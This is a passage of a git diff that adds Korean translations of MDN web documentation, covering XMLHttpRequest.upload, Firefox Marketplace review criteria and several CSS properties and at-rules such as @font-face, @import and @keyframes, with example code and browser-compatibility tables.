Basic support1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.1")}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/ko/web/api/xmlhttprequest/upload/index.html b/files/ko/web/api/xmlhttprequest/upload/index.html new file mode 100644 index 0000000000..329920fc68 --- /dev/null +++ b/files/ko/web/api/xmlhttprequest/upload/index.html @@ -0,0 +1,88 @@ +--- +title: XMLHttpRequest.upload +slug: Web/API/XMLHttpRequest/upload +translation_of: Web/API/XMLHttpRequest/upload +--- +
{{APIRef('XMLHttpRequest')}}
+ +

{{domxref("XMLHttpRequest")}} upload 프로퍼티는 업로드 진행 상황을 모니터링 할 수 있는 {{domxref("XMLHttpRequestUpload")}} 객체를 반환합니다. 불투명한 객체(opaque object)이지만  {{domxref("XMLHttpRequestEventTarget")}} 이기도 하기 때문에 이벤트 리스너를 연결하여 프로세스를 추적할 수 있습니다.

+ +

upload 이벤트에서 다음 이벤트가 트리거되어 업로드를 모니터링하는데 사용할 수 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
EventEvent listenerDescription
{{event("loadstart")}}{{domxref("XMLHttpRequest.onloadstart", "onloadstart")}}업로드가 시작되었습니다.
{{event("progress")}}{{domxref("XMLHttpRequest.onprogress", "onprogress")}}지금까지 진행된 상태를 정기적으로 제공합니다.
{{event("abort")}}{{domxref("XMLHttpRequest.onabort", "onabort")}}업로드가 중단되었습니다.
{{event("error")}}{{domxref("XMLHttpRequest.onerror", "onerror")}}에러로 인해 업로드에 실패했습니다.
{{event("load")}}{{domxref("XMLHttpRequest.onload", "onload")}}업로드가 성공적으로 완료되었습니다.
{{event("timeout")}}{{domxref("XMLHttpRequest.ontimeout", "ontimeout")}}{{domxref("XMLHttpRequest.timeout")}}에 명시되어 있는 시간 간격 내에 응답이 도착하지 않아, 업로드 시간이 초과되었습니다.
{{event("loadend")}}{{domxref("XMLHttpRequest.onloadend", "onloadend")}}업로드가 완료되었습니다. 이 이벤트는 성공과 실패를 구분하지 않고 결과에 관계없이 업로드가 끝나면 전송됩니다. 이 이벤트 발생 이전에는 전송이 종료된 이유를 나타내기 위해 load, error, abort, timeout 중 하나를 전달합니다.
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#the-upload-attribute')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

Browser compatibility

+ + + +

{{Compat("api.XMLHttpRequest.upload")}}

+ +

See also

+ + diff --git a/files/ko/web/apps/design/index.html b/files/ko/web/apps/design/index.html new file mode 100644 index 0000000000..23bba7ac10 --- /dev/null +++ b/files/ko/web/apps/design/index.html @@ -0,0 +1,35 @@ +--- +title: 열린 웹 응용프로그램들 설계하기 +slug: Web/Apps/Design +tags: + - Apps + - Beginner + - CSS + - Design + - Examples + - Guide + - Layout + - Mobile + - NeedsTranslation + - Styleguides + - TopicStub + - UX + - Usability + - Web Development + - patterns +translation_of: Archive/Apps/Design +--- +
+

In this section, we'll introduce design and UX principles to incorporate into your Open Web Apps. In an effort to help you kickstart your project, we have included links to relevant examples and style guides.

+
+ +

일반 웹 앱 디자인

+ +

The items under this section apply generally to Web app design.

+ +
+
계획하기
+
The articles in this section provide information on planning a successful Web app, including high level planning ideas and general design principles.
+
UI 배치의 기본
+
These articles provide guides and theory behind implementing effective layouts for Open Web Apps, including responsive design, flexible boxes, etc.
+
diff --git a/files/ko/web/apps/publishing/marketplace_review_criteria/index.html b/files/ko/web/apps/publishing/marketplace_review_criteria/index.html new file mode 100644 index 0000000000..d6627ca4fd --- /dev/null +++ b/files/ko/web/apps/publishing/marketplace_review_criteria/index.html @@ -0,0 +1,77 @@ +--- +title: Marketplace 리뷰 가이드 +slug: Web/Apps/Publishing/Marketplace_review_criteria +translation_of: Archive/Mozilla/Marketplace/Publishing/Marketplace_review_criteria +--- +

이 문서에서는 Firefox Marketplace를 통해 배포되는 앱이 충족해야 할 일련의 요구 사항을 설명합니다. 이러한 요건은 Marketplace에서 배포되는 앱 개발자 및 사용자 양쪽의 요구에 대한 균형을 맞추도록 설계되어 있습니다. 개발자는 앱을 사용한 비즈니스를 성립시키기 위해 신뢰할 만한 균형을 가지고, 일관성이 있고 너무 엄격하지 않은 조건을 요구하고 있습니다. 한편 사용자는 앱이 안전하고, 자신의 단말기에서 동작하는 설명대로 동작한다는 보증을 요구하고 있습니다. 이하에서 설명하는 앱의 요건은 이러한 요구의 균형을 목적으로 하고 있습니다.

+

앱을 검토(Review)하는 부분과 그렇지 않은 부분에 대해 Mozilla의 생각은 다음과 같습니다.

+ +

보안

+

앱의 보안 아키텍처에 관한 설명은 https://wiki.mozilla.org/Apps/Security에서 볼 수 있습니다.

+ +

개인 정보

+ +

콘텐츠

+ +

콘텐츠 가이드 라인

+

이 목록은 Firefox Marketplace에 부적절한 내용 유형을 설명한 것입니다. 이 항목은 확정적이 아니라 구체적인 것으로, 향후 업데이트될 수 있습니다. 응용 프로그램이 이러한 내용 가이드 라인에 반하는 것이 확인된 경우 Mozilla는 Firefox Marketplace에서 응용 프로그램을 즉시 삭제할 권리를 가지고 있습니다.

+ +

기능성

+ +

사용성

+ +

차단 목록 추가 정책

+

우리는 원하지는 않지만, 노출된 앱이, 보안, 개인 정보, 콘텐츠 요건에 반하고 혹은 시스템이나 네트워크의 성능을 크게 저하시키는 것이 나중에 밝혀질 경우 그것을 Marketplace에서 제거("차단 목록"에 추가하는) 권리를 가지고 있습니다. 그러한 상황이 되었을 경우, 개발자는 앱이 차단 목록에 추가되기 전에 통보를 받고 뭔가 구체적 증거가 발견하지 않는 한 "착한 시민"으로 간주됩니다. 또한, 앱의 검토 팀은 무슨 일이 일어나는지를 전달해 문제를 해결하기 위한 충분한 지원을 제공합니다. 차단 목록에 추가가 인정되는 상황의 구체적인 예는 다음과 같은 것입니다.

+ diff --git a/files/ko/web/css/-moz-image-region/index.html b/files/ko/web/css/-moz-image-region/index.html new file mode 100644 index 0000000000..1bc12db1e6 --- /dev/null +++ b/files/ko/web/css/-moz-image-region/index.html @@ -0,0 +1,54 @@ +--- +title: '-moz-image-region' +slug: Web/CSS/-moz-image-region +tags: + - CSS + - CSS Property + - 'CSS:Mozilla Extensions' + - Non-standard +translation_of: Web/CSS/-moz-image-region +--- +
{{CSSRef}}{{Non-standard_header}}
+ +

XUL 요소와 가상요소들에 대하여 {{ Cssxref("list-style-image") }}  속성을 사용할때 이 속성은 전체이미지에서 사용되는 부분의 령역을 지정합니다.  이것은 요소들이 성능을 향상시키기 위해 같은 이미지의 서로다른 부분을 사용할수 있게 합니다.

+ +
/* Keyword value */
+-moz-image-region: auto;
+
+/* <shape> value */
+-moz-image-region: rect(0, 8px, 4px, 4px);
+
+/* Global values */
+-moz-image-region: inherit;
+-moz-image-region: initial;
+-moz-image-region: unset;
+ +

 

+ +

문법은 {{ Cssxref("clip") }}속성과 류사합니다. 4개의 값은 모두 이미지의 외쪽 웃모서리로부터 상대적입니다.

+ +

{{cssinfo}}

+ +

구문

+ +
-moz-image-region: rect(top, right, bottom, left);
+ +

형식 구문

+ +
{{CSSSyntax}}
+ +

예제

+ +
#example-button {
+  /* display only the 4x4 area from the top left of this image */
+  list-style-image: url("chrome://example/skin/example.png");
+  -moz-image-region: rect(0px, 4px, 4px, 0px);
+}
+#example-button:hover {
+  /* use the 4x4 area to the right of the first for the hovered button */
+  -moz-image-region: rect(0px, 8px, 4px, 4px);
+}
+ +

브라우저 호환성

+ +

{{Compat("css.properties.-moz-image-region")}}

diff --git a/files/ko/web/css/-webkit-line-clamp/index.html b/files/ko/web/css/-webkit-line-clamp/index.html new file mode 100644 index 0000000000..1c08a3f70b --- /dev/null +++ b/files/ko/web/css/-webkit-line-clamp/index.html @@ -0,0 +1,111 @@ +--- +title: '-webkit-line-clamp' +slug: Web/CSS/-webkit-line-clamp +tags: + - CSS + - CSS Property + - Non-standard + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/-webkit-line-clamp +--- +
{{CSSRef}}
+ +

-webkit-line-clamp CSS 속성은 {{Glossary("block container", "블록 컨테이너")}}의 콘텐츠를 지정한 줄 수만큼으로 제한합니다.

+ +

{{cssxref("display")}} 속성을 -webkit-box 또는 -webkit-inline-box로, 그리고 {{cssxref("-webkit-box-orient")}} 속성을 vertical로 설정한 경우에만 동작합니다.

+ +

-webkit-line-clamp만 사용하는 경우, 말줄임표는 노출되나 넘친 콘텐츠가 숨겨지지 않으므로 대개 {{cssxref("overflow")}} 속성 또한 hidden으로 설정해야 합니다.

+ +

앵커 요소에 적용한 경우 텍스트의 끝이 아니라 중앙에서 잘리는 경우도 있습니다.

+ +
+

참고:-webkit-line-clamp는 원래 WebKit이 구현했었으며 몇몇 문제점을 가지고 있으나 레거시 지원을 위해 표준화를 거쳤습니다. CSS Overflow Module Level 3 명세의 {{cssxref("line-clamp")}}가 -webkit-line-clamp를 대체하기 위해 정의된 속성입니다.

+
+ +

구문

+ +
/* 키워드 값 */
+-webkit-line-clamp: none;
+
+/* <integer> 값 */
+-webkit-line-clamp: 3;
+-webkit-line-clamp: 10;
+
+/* 전역 값 */
+-webkit-line-clamp: inherit;
+-webkit-line-clamp: initial;
+-webkit-line-clamp: unset;
+
+ +
+
none
+
콘텐츠를 자르지 않습니다.
+
{{cssxref("integer")}}
+
몇 줄 뒤에 콘텐츠를 자를지 지정합니다. 0보다 커야 합니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{CSSSyntax}}
+ +

예제

+ +

문단 자르기

+ +

HTML

+ +
<p>
+  In this example the <code>-webkit-line-clamp</code> property is set to <code>3</code>, which means the text is clamped after three lines.
+  An ellipsis will be shown at the point where the text is clamped.
+</p>
+ +

CSS

+ +
p {
+  width: 300px;
+  display: -webkit-box;
+  -webkit-box-orient: vertical;
+  -webkit-line-clamp: 3;
+  overflow: hidden;
+}
+ +

결과

+ +

{{EmbedLiveSample("예제", "100%", "100")}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Overflow", "#propdef--webkit-line-clamp", "-webkit-line-clamp")}}{{Spec2("CSS3 Overflow")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.-webkit-line-clamp")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/-webkit-overflow-scrolling/index.html b/files/ko/web/css/-webkit-overflow-scrolling/index.html new file mode 100644 index 0000000000..ef195eed02 --- /dev/null +++ b/files/ko/web/css/-webkit-overflow-scrolling/index.html @@ -0,0 +1,86 @@ +--- +title: '-webkit-overflow-scrolling' +slug: Web/CSS/-webkit-overflow-scrolling +tags: + - CSS + - CSS Property + - Non-standard + - Reference +translation_of: Web/CSS/-webkit-overflow-scrolling +--- +
{{CSSRef}} {{Non-standard_header}}
+ +

CSS -webkit-overflow-scrolling 속성은 터치 단말기에서 주어진 요소의 모멘텀 기반 스크롤 활성화 여부를 결정합니다.

+ +

{{cssinfo}}

+ +

+ +
+
auto
+
"일반적"인 스크롤을 사용합니다. 즉 손가락을 터치 화면에서 떼는 순간 스크롤이 멈춥니다.
+
touch
+
모멘텀 기반 스크롤을 사용합니다. 스크롤 제스쳐가 끝나고 손가락을 터치 화면에서 떼어도 잠시 스크롤이 지속됩니다. 지속 속도와 시간은 스크롤 제스쳐의 세기에 따라 달라집니다. 또한 새로운 {{glossary("stacking context", "쌓임 맥락")}}을 생성합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<div class="scroll-touch">
+  <p>
+    This paragraph has momentum scrolling
+  </p>
+</div>
+<div class="scroll-auto">
+  <p>
+    This paragraph does not.
+  </p>
+</div>
+ +

CSS

+ +
div {
+  width: 100%;
+  overflow: auto;
+}
+
+p {
+  width: 200%;
+  background: #f5f9fa;
+  border: 2px solid #eaf2f4;
+  padding: 10px;
+}
+
+.scroll-touch {
+  -webkit-overflow-scrolling: touch; /* Lets it scroll lazy */
+}
+
+.scroll-auto {
+  -webkit-overflow-scrolling: auto; /* Stops scrolling immediately */
+}
+
+ +

결과

+ +

{{EmbedLiveSample('예제')}}

+ +

명세

+ +

명세에 속하지 않습니다. Apple의 Safari CSS Reference에 설명이 있습니다.

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.-webkit-overflow-scrolling")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/@charset/index.html b/files/ko/web/css/@charset/index.html new file mode 100644 index 0000000000..6cdeb08fb5 --- /dev/null +++ b/files/ko/web/css/@charset/index.html @@ -0,0 +1,78 @@ +--- +title: '@charset' +slug: Web/CSS/@charset +tags: + - At-rule + - CSS + - Layout + - Reference + - Web +translation_of: Web/CSS/@charset +--- +
{{ CSSRef }}
+ +

@charset CSS at-규칙은 스타일 시트에 쓰이는 문자 인코딩을 지정합니다. 스타일 시트의 첫 번째 요소여야 하며 어떤 문자가 선행되지 않아야 합니다; 중첩된 문이 아니기에, 조건부 그룹 at-규칙 내에 사용될 수 없습니다. 여러 @charset at-규칙이 정의된 경우, 첫 번째 것만 사용되고 HTML 요소의 style attribute 또는 HTML 페이지의 문자 집합과 관련 있는 {{ HTMLElement("style") }} 요소 내에서 사용될 수 없습니다.

+ +
@charset "utf-8";
+
+ +

이 at-규칙은 {{ cssxref("content") }}처럼 일부 CSS 속성(property)에서 비 ASCII 문자를 사용할 때 유용합니다.

+ +

스타일 시트의 문자 인코딩을 정의하는 여러 방법이 있기에, 브라우저는 다음과 같은 순서로 다음 방법을 시도합니다( 그리고 하나가 결과를 산출하자 마자 곧 멈춥니다):

+ +
    +
  1. 파일의 시작 부분에 놓이는 Unicode byte-order 문자값.
  2. +
  3. Content-Type: HTTP 헤더의 charset attribute 또는 스타일 시트를 제공하는 데 쓰이는 프로토콜 등가물에 주어진 값.
  4. +
  5. @charset CSS at-규칙.
  6. +
  7. 참조하는 문서에 의해 정의된 문자 인코딩 사용: {{ HTMLElement("link") }} 요소의 charset attribute. 이 메서드는 HTML5에서 폐기(obsolete)되어 사용해서는 안됩니다.
  8. +
  9. 문서가 UTF-8이라고 가정
  10. +
+ +

구문

+ +
@charset "UTF-8";
+@charset 'iso-8859-15';
+
+ +

where:

+ +
+
charset
+
사용되는 문자 인코딩을 나타내는 {{cssxref("<string>")}}입니다. IANA-registry에 정의된 웹 안전 문자 인코딩의 이름이어야 합니다. 여러 이름이 인코딩과 관련된 경우, preferred로 표시된 것만 사용되어야 합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +
@charset "UTF-8";       /* 스타일 시트의 인코딩을 Unicode UTF-8로 설정 */
+@charset 'iso-8859-15'; /* 스타일 시트의 인코딩을 Latin-9 (서유럽어, euro sign 있는) 로 설정 */
+ @charset "UTF-8";      /* 무효한, at-규칙 앞에 문자(공백)가 있음 */
+@charset UTF-8;         /* 무효한, ' 또는 " 없는 문자집합 CSS {{cssxref("<string>")}}이 아님 */
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{ SpecName('CSS2.1', 'syndata.html#x57', '@charset') }}{{ Spec2('CSS2.1') }}초기 정의
+ +

브라우저 호환성

+ +

{{Compat("css.at-rules.charset")}}

diff --git a/files/ko/web/css/@font-face/font-display/index.html b/files/ko/web/css/@font-face/font-display/index.html new file mode 100644 index 0000000000..20d334f95c --- /dev/null +++ b/files/ko/web/css/@font-face/font-display/index.html @@ -0,0 +1,101 @@ +--- +title: font-display +slug: Web/CSS/@font-face/font-display +translation_of: Web/CSS/@font-face/font-display +--- +
{{CSSRef}}
+ +

font-display 설명자(descriptor)는 font face가 표시되는 방법을 결정합니다. 이는 다운로드 여부와 사용 시기에 따라 다릅니다.

+ +

The font display timeline

+ +

font display 시각표는 유저 에이전트가 지정된 다운로드 폰트를 사용하려는 순간 시작하는 타이머를 기반으로 합니다. 시각표는 아래의 세 가지 기간(period)으로 나뉘어져 font face를 사용하는 모든 요소(element)의 렌더링 동작을 나타냅니다.

+ +
+
폰트 차단 기간
+
font face가 로드되지 않은 경우 font face를 사용하려는 요소는 보이지 않는 대체 폰트를 렌더링 합니다. 이 기간 동안 font face가 성공적으로 로드되면 요청된 폰트로 다시 렌더링 됩니다.
+
폰트 교체 기간
+
font face가 로드되지 않은 경우 font face를 사용하려는 요소는 (텍스트가 표시되는)대체 폰트를 렌더링 합니다. 이 기간 동안 font face가 성공적으로 로드되면 요청된 폰트로 다시 렌더링 됩니다.
+
폰트 실패 기간
+
font face가 로드되지 않은 경우 유저 에이전트는 로드 실패로 취급하고 정상적인 대체 폰트를 렌더링 합니다.
+
+ +

{{cssinfo}}

+ +

Syntax

+ +
/* Keyword values */
+font-display: auto;
+font-display: block;
+font-display: swap;
+font-display: fallback;
+font-display: optional;
+ +

Values

+ +
+
auto
+
font display 전략은 유저 에이전트에 의해 정의됩니다.
+
block
+
font face에 짧은 차단 기간과 무한대의 교체 기간을 부여합니다.
+
swap
+
font face에 매우 작은 차단 기간과 무한대의 교체 기간을 부여합니다.
+
fallback
+
font face에 매우 작은 차단 기간과 짧은 교체 기간을 부여합니다.
+
optional
+
font face에 매우 작은 차단 기간과 교체 기간을 부여합니다.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Examples

+ +
@font-face {
+  font-family: ExampleFont;
+  src: url(/path/to/fonts/examplefont.woff) format('woff'),
+       url(/path/to/fonts/examplefont.eot) format('eot');
+  font-weight: 400;
+  font-style: normal;
+  font-display: fallback;
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Fonts', '#font-display-desc', 'font-display')}}{{Spec2('CSS4 Fonts')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("css.at-rules.font-face.font-display")}}

+ +

See also

+ + diff --git a/files/ko/web/css/@font-face/index.html b/files/ko/web/css/@font-face/index.html new file mode 100644 index 0000000000..9ba2e223e6 --- /dev/null +++ b/files/ko/web/css/@font-face/index.html @@ -0,0 +1,216 @@ +--- +title: '@font-face' +slug: Web/CSS/@font-face +translation_of: Web/CSS/@font-face +--- +

{{CSSRef}}

+ +

요약(Summary)

+ +

CSS at-rule 인 @font-face 를 사용하여 웹페이지의 텍스트에 온라인폰트(online fonts)를 적용할 수 있다. @font-face 를 사용하여 웹페이지 제작자가 원하는 폰트를 사용할 수 있게함으로써, 컴퓨터에 설치된 폰트만을 사용해야했던 제약이 없어지게되었다. @font-face at-rule 은 CSS의 top-level에서 뿐 아니라, CSS conditional-group at-rule 안에서도 사용될 수도 있다. 

+ +

{{ seeCompatTable() }}

+ +

문법(Syntax)

+ +
@font-face {
+  font-family: <a-remote-font-name>;
+  src: <source> [,<source>]*;
+  [font-weight: <weight>];
+  [font-style: <style>];
+}
+
+ +

속성값(Values)

+ +
+
<a-remote-font-name> 
+
font 속성에서 폰트명(font face)으로 지정될 이름을 설정한다.
+
<source> 
+
원격 폰트(remote font) 파일의 위치를 나타내는 URL 값을 지정하거나, 사용자 컴퓨터에 설치된 폰트명을 local("Font Name")형식으로 지정하는 속성이다.
+
<weight> 
+
폰트의 굵기(font weight) 값.
+
<style> 
+
폰트 스타일(font style) 값.
+
+ +

사용자의 로컬환경(local computer)에 설치된 폰트는 local() 이라는 구문을 사용하여 지정이 가능하다. 만약 해당 폰트를 찾지못한다면, 다른 대체 폰트를 찾을때까지 폰트를 검색작업을 계속 할 것이다.

+ +

예제(Examples)

+ +

아래는 다운로드하여 사용가능한 폰트를 설정하는 간단한 예제이며, document의 전체 body 영역에 폰트가 적용된다.

+ +

View live sample

+ +
<html>
+<head>
+  <title>Web Font Sample</title>
+  <style type="text/css" media="screen, print">
+    @font-face {
+      font-family: "Bitstream Vera Serif Bold";
+      src: url("http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf");
+    }
+
+    body { font-family: "Bitstream Vera Serif Bold", serif }
+  </style>
+</head>
+<body>
+  This is Bitstream Vera Serif Bold.
+</body>
+</html>
+
+ +

아래 예제에서는 로컬에 설치된 "Helvetica Neue Bold" 폰트가 사용된다. 만약 해당 폰트가 설치되어 있지 않다면(다른 2개의 폰트를 적용하기 위한 시도를 하고), 다운로드 가능한 "MgOpenModernaBold.ttf" 폰트가 대신 사용된다.

+ +
@font-face {
+  font-family: MyHelvetica;
+  src: local("Helvetica Neue Bold"),
+  local("HelveticaNeue-Bold"),
+  url(MgOpenModernaBold.ttf);
+  font-weight: bold;
+}
+
+ +

주의사항(Notes)

+ + + +

명세(Specifications)

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WOFF1.0', '', 'WOFF font format') }}{{ Spec2('WOFF1.0') }}Font format specification
{{ SpecName('CSS3 Fonts', '#font-face-rule', '@font-face') }}{{ Spec2('CSS3 Fonts') }} 
+ +

브라우저 호환성(Browser compatibility)

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{ CompatGeckoDesktop("1.9.1") }}4.04.010.03.1
WOFF{{ CompatGeckoDesktop("1.9.1") }}6.09.011.105.1
SVG Font{{ CompatNo() }}
+ {{ unimplemented_inline(119490) }}
yes{{ CompatNo() }}yesyes
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MiniOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoMobile("1.9.1") }}{{ CompatUnknown() }}{{ CompatNo() }}10.0{{ CompatVersionUnknown() }}
WOFF{{ CompatNo() }}{{ CompatGeckoMobile("5.0") }}{{ CompatUnknown() }}{{ CompatNo() }}11.0{{ CompatNo() }}
SVG fonts{{ CompatNo() }}{{ CompatNo() }}
+ {{ unimplemented_inline(119490) }}
{{ CompatUnknown() }}{{ CompatNo() }}10.0{{ CompatVersionUnknown() }}
+
+ +

주의사항(Notes)

+ + + +

참고자료(See also)

+ +
+
+ + diff --git a/files/ko/web/css/@import/index.html b/files/ko/web/css/@import/index.html new file mode 100644 index 0000000000..a4648971ae --- /dev/null +++ b/files/ko/web/css/@import/index.html @@ -0,0 +1,83 @@ +--- +title: '@import' +slug: Web/CSS/@import +tags: + - At-rule + - CSS + - Reference +translation_of: Web/CSS/@import +--- +
{{CSSRef}}
+ +

@import CSS @규칙은 다른 스타일 시트에서 스타일 규칙을 가져올 때 쓰입니다. 이 규칙은 {{cssxref("@charset")}} 규칙을 제외하고 모든 다른 종류의 규칙보다 선행해야 합니다. @import는 중첩 명령문이 아니기 때문에 조건부 그룹 @규칙 내에 사용할 수 없습니다.

+ +
@import url("fineprint.css") print;
+@import url("bluish.css") speech;
+@import 'custom.css';
+@import url("chrome://communicator/skin/");
+@import "common.css" screen;
+@import url('landscape.css') screen and (orientation:landscape);
+
+ +

사용자 에이전트는 지원되지 않는 미디어 유형에 대한 자원 검색을 피할 수 있도록, 제작자는 미디어에 의존한 @import 규칙을 지정할 수 있습니다. 이러한 조건부 import는 URI 뒤에 쉼표로 구분된 미디어 질의를 지정합니다. 미디어 질의가 없으면, import는 무조건(unconditional)입니다. 미디어에 all을 지정하면 같은 효과가 있습니다.

+ +

구문

+ +
@import url;
+@import url list-of-media-queries;
+
+ +

where:

+ +
+
url
+
import할 자원의 위치를 나타내는 {{cssxref("<string>")}} 또는 {{cssxref("<uri>")}}입니다. URL은 절대 또는 상대일 수 있습니다. URL은 실제로 파일에 지정할 필요는 없음을 주의하세요; 그냥 패키지 명 및 일부를 지정할 수 있으며 적절한 파일이 자동으로 선택됩니다(가령 chrome://communicator/skin/). 자세한 내용은 여기를 참조.
+
list-of-media-queries
+
링크된 URL 내에 정의된 CSS 규칙의 적용을 조절하는 쉼표 구분된 미디어 질의 목록입니다. 브라우저가 이러한 질의를 지원하지 않으면, 링크된 자원을 로드하지 않습니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Cascade', '#at-ruledef-import', '@import')}}{{Spec2('CSS3 Cascade')}} 
{{SpecName('CSS3 Media Queries', '#media0', '@import')}}{{Spec2('CSS3 Media Queries')}}Extended the syntax to support any media query and not only simple media types.
{{SpecName('CSS2.1', 'cascade.html#at-import', '@import')}}{{Spec2('CSS2.1')}}Added support for {{cssxref("<string>")}} to denote the url of a stylesheet,
+ and requirement to insert the @import rule at the beginning of the CSS document.
{{SpecName('CSS1', '#the-cascade', '@import')}}{{Spec2('CSS1')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.at-rules.import")}}

diff --git a/files/ko/web/css/@keyframes/index.html b/files/ko/web/css/@keyframes/index.html new file mode 100644 index 0000000000..dbdfd67d92 --- /dev/null +++ b/files/ko/web/css/@keyframes/index.html @@ -0,0 +1,152 @@ +--- +title: '@keyframes' +slug: Web/CSS/@keyframes +tags: + - Animations + - At-rule + - CSS + - Reference +translation_of: Web/CSS/@keyframes +--- +
{{CSSRef}}
+ +

@keyframes @규칙은 개발자가 애니메이션 중간중간의 특정 지점들을 거칠 수 있는 키프레임들을 설정함으로써 CSS 애니메이션 과정의 중간 절차를 제어할 수 있게 합니다. 이 룰은 브라우저가 자동으로 애니메이션을 처리하는 것 보다 더 세밀하게 중간 동작들을 제어할 수 있습니다.

+ +

 

+ +
@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+ +

@keyframes @규칙은 CSS 오브젝트 모델 인터페이스인 {{domxref("CSSKeyframesRule")}}를 통해서 접근합니다.

+ +

키프레임을 사용하려면 @keyframes 룰을 애니메이션과 키프레임 리스트를 매칭시킬 {{ cssxref("animation-name") }} 속성에서 사용할 이름과 함께 생성합니다. 각 @keyframes 룰은 키프레임 선택자의 스타일 리스트를 포함하고 있고, 각 리스트는 각 키프레임이 생성되고 키프레임의 스타일 정보를 포함하고 있는 지점에서 사용할 %로 구성됩니다.

+ +

키프레임은 순서대로 나열 가능합니다. 지정된 %의 순서대로 처리됩니다.

+ +

유효한 키프레임 리스트

+ +

키 프레임 리스트가 유효하려면 최소한 0% 와 100% 같은 시간에 대한 규칙은 포함해야 합니다 (%가 의미하는 것은 애니메이션의 시작과 끝 상태를 의미). 만약 이 타임 오프셋이 정해져 있지 않으면, 키 프레임 선언이 무효합니다; 파서가 인식하지 않거나 애니메이션에서 사용되지 않습니다.

+ +

만약 키 프레임 룰에 애니메이션이 되지 않는 속성을 포함하면 이 속성은 무시가 됩니다. 애니메이션을 지원하는 속성들은 여전히 애니메이션이 됩니다.

+ +

중복 해상도

+ +

만약 한개의 이름에 대해서 여러개의 키프레임 셋이 존재하면, 파서가 마지막으로 마주치는 키프레임 셋만 유효합니다. @keyframes 룰은 연속되지 않기 때문에 한개의 룰 셋 이상을 적용하지 않습니다.

+ +

키 프레임 밖에 속성이 지정된 경우

+ +

어떤 키 프레임에도 정의되지 않는 속성들은 애니메이션과는 완전 별도로 삽입되지 않는 경우를 제외하고는 삽입됩니다. 예를 들어,

+ +
@keyframes identifier {
+  0% { top: 0; left: 0; }
+  30% { top: 50px; }
+  68%, 72% { left: 50px; }
+  100% { top: 100px; left: 100%; }
+}
+
+ +

여기 {{ cssxref("top") }} 속성은 0%, 30%, 100% 키 프레임을 이용하여 애니메이션 됩니다. {{ cssxref("left") }} 속성은 0%, 68%, 100% 키 프레임을 사용합니다.

+ +

0%100% 키 프레임 모두에 정의된 속성들만 애니메이션 동작을 합니다. 이 둘 중 아무것도 포함되지 않은 속성은 애니메이션 연속을 지속하기 위한 시작 값으로 사용됩니다.

+ +

키 프레임이 여러번 정의 된 경우

+ +

스펙에서는 모든 속성이 각 키 프레임이 지정된 게 아니라 키 프레임이 여러번 정의 된 경우에는 가장 최근의 키프레임에 선언된 값들만 유효하다고 나와 있습니다. 예를 들어,

+ +
@keyframes identifier {
+  0% { top: 0; }
+  50% { top: 30px; left: 20px; }
+  50% { top: 10px; }
+  100% { top: 0; }
+}
+
+ +

이 예제를 보면 50% 키프레임에서 top: 10px 이고 다른 값들은 모두 무시됩니다.

+ +

{{ non-standard_inline }} {{ fx_minversion_inline("14") }} 키 프레임 효과 연속은 파이어폭스 14부터 지원됩니다. 이 의미는 위 예제의 경우 50% 키 프레임에서 왼쪽 : 20px 값이 고려된다는 의미입니다. 이러한 기능이 스펙에는 아직 정의가 되어있진 않지만, 현재 도입에 대한 토론이 진행 중입니다.

+ +

키프레임에서 !important

+ +

키프레임에서 !important 속성을 이용한 정의는 모두 무시됩니다.

+ +
@keyframes important1 {
+   from { margin-top: 50px; }
+   50%   { margin-top: 150px !important; } /* ignored */
+   to     { margin-top: 100px; }
+}
+
+@keyframes important2 {
+  from { margin-top: 50px;
+                 margin-bottom: 100px; }
+   to     { margin-top: 150px !important; /* ignored */
+                 margin-bottom: 50px; }
+}
+
+ +

Syntax

+ +

Values

+ +
+
<identifier>
+
A name identifying the keyframe list. This must match the identifier production in CSS syntax.
+
from
+
A starting offset of 0%.
+
to
+
An ending offset of 100%.
+
{{cssxref("<percentage>")}}
+
